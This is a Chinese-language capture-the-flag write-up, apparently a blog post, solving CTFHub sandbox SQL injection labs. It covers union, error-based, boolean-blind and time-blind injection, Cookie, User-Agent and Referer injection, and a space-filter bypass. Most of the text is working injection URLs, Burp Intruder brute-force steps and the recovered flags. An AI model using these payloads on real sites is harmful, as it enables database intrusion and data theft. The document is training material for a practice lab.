整数型注入
字符型注入
得到数据库名 sqli
http://challenge-f7a63a00793e62c6.sandbox.ctfhub.com:10800/?id=-1' union select 1,database() '

爆sqli数据库的数据表

爆flag表的所有列:
http://challenge-f7a63a00793e62c6.sandbox.ctfhub.com:10800/?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' '

爆flag表的数据
http://challenge-f7a63a00793e62c6.sandbox.ctfhub.com:10800/?id=-1' union select 1,flag from sqli.flag -- '

报错型注入
可以参考这个:sql报错注入详细讲解 ,报错注入函数,十种mysql报错注入
发现只要输入了id就会返回成功,不输入直接查询就会报错

查询数据库名
和之前一样查询数据库的数据表
http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1)

和前面一样爆出flag表的列
http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1)

查询flag表的数据,这里查询到的flag不全,可以用right函数来显示后半部分
http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,(select flag from sqli.flag),0x7e),1)

http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,right((select flag from sqli.flag),30),0x7e),1)

布尔盲注

输入3报错,看来最多是2

返回成功,看来是数字型注入

数据库长度为4

判断数据库的第一个字符是不是s

第二个字符为 q

第三个字符为l

第四个字符为i ,数据库名字为sqli

判断数据库表的数量,这里返回成功,说明表的数量有两个
http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=2

判断表名的长度
http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4
第一个表的长度为4

查询第二个表名的长度
http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=4
长度也是4

和之前的方法一样,来爆破表的名字,盲猜和之前一样有一个flag表
http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102
第一位为f

第四位为g

表一的名字为flag
猜测flag表中字段的数目
http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and (select count(column_name) from information_schema.columns where table_name='flag')=1
只有一个字段

判断字段长度
http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))=4
长度为4

猜测字段名字,第四个字符为g,盲猜字段名就是flag
http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),4,1))=103
爆这个字段的值,第一个字符为c
http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and ascii(substr((select flag from sqli.flag limit 0,1),1,1))=99

查询数据的长度为32
http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and length(substr((select flag from sqli.flag limit 0,1),1))=32

使用burp的Intruder(爆破功能),做如下设置

设置第一个数字,长度设置为32

第二个数字,设置成33到127,因为flag肯定是可见字符

然后开始爆破就行,爆破结果如下

有的时候有些数字爆破不全,多爆几次就行,注意看响应的界面是否正确

记录下值
99,116,102,104,117,98,123,97,50,51,54,97,54,49,101,51,55,99,101,52,97,99,99,50,50,48,101,49,98,101,49,125
转为字符得到flag:ctfhub{a236a61e37ce4acc220e1be1}
时间盲注
可以参考这个 sql盲注学习笔记

时间盲注是没有回显的,所以需要使用延时来判断是否正确

那么步骤就和上面的布尔盲注差不多了,先判断下数据库的长度是否为4,如果为4就延时5秒返回,
http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(length(database())=4,sleep(5),null))
接着猜数据库的名字,盲猜又是sqli
http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(ascii(substr(database(),1,1))=115,sleep(3),null))
一样的数据库中还是只有两个表
http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(3),null))
第一个表的长度为4
http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4,sleep(3),null))
第一个表的名字为flag,(第一个字符为f,第四个字符为g)
http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102,sleep(3),null))
http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103,sleep(3),null))
flag表中只有一个字段
http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if((select count(column_name) from information_schema.columns where table_name='flag')=1,sleep(3),null))
老样子,这个字段名字盲猜又是flag,第四个字符为g
http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),4,1))=103,sleep(3),null))
数据长度还是为32
http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(length(substr((select flag from sqli.flag limit 0,1),1))=32,sleep(3),null))
依旧可以爆破,老样子设置burp

设置第一个数的长度

ascii码的范围

再加个延时超过2秒就报错

在爆破的结果中增加两列条件

根据相应时间来排序,相应时间长的就是flag了

99,116,102,104,117,98,123,52,99,97,
48,50,52,97,55,49,51,57,98,97,
52,57,55,99,100,102,48,101,98,54,
100,125
最终flag: ctfhub{4ca024a7139ba497cdf0eb6d}
MySQL结构

数据库名还是sqli

爆出数据库的表名,终于不是flag了
http://challenge-91f0d44a8bdcc992.sandbox.ctfhub.com:10800/?id=-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema=database()

得到数据
http://challenge-91f0d44a8bdcc992.sandbox.ctfhub.com:10800/?id=-1 union select 0,mejemaquuf from sqli.lwvqpuqtht

flag: ctfhub{f4af7d9b991ccd74df27d774}
Cookie注入

用burp抓包,这个就只是换了个注入的位置而已

爆数据库,依旧还是sqli
-1 union select 0,database()

和前面一样,爆出表名:hrywuvnluw
爆出列名:znwiidcrba
-1 union select 0,group_concat(column_name) from information_schema.columns WHERE TABLE_name='hrywuvnluw'
爆出数据:
-1 union select 0,znwiidcrba from sqli.hrywuvnluw
得到flag : ctfhub{3e2333508e9d938382a7b6c1}
UA注入

还是burp抓包

和上面一样操作,爆出表名:cmvutvjgkc
爆出列名:ceyuzrycgs
得到flag

flag: ctfhub{f20c93958e97a36fa3fc2181}
Refer注入

加一个Referer

还是和之前一样的操作
爆出表:hhlppwofdm ,爆出列:cbnjcaulfv
得到flag: ctfhub{41dabb3ec9928fbbbff8b3ee}
过滤空格
不能输入空格

可以用 %09 来代替空格
http://challenge-0c207a0fd56c1d5f.sandbox.ctfhub.com:10800/?id=-1%09union%09select%090,database()

绕过代替

爆表名: dschfjaezj
http://challenge-0c207a0fd56c1d5f.sandbox.ctfhub.com:10800/?id=-1%09union%09select%090,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()
爆列名:ruohmuurnk
http://challenge-0c207a0fd56c1d5f.sandbox.ctfhub.com:10800/?id=-1%09union%09select%090,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='dschfjaezj'
爆数据
http://challenge-0c207a0fd56c1d5f.sandbox.ctfhub.com:10800/?id=-1%09union%09select%090,ruohmuurnk%09from%09sqli.dschfjaezj
得到flag:ctfhub{aa36769f58876afc523c3ddc}

![[Azkaban] No active executors found分析](https://img-blog.csdnimg.cn/224f1b3a40ab4e57929da5c686d8d840.png)





![[附源码]Python计算机毕业设计Django大学生考勤管理系统论文](https://img-blog.csdnimg.cn/fc66071795244d90a0887e0d4b1404ae.png)











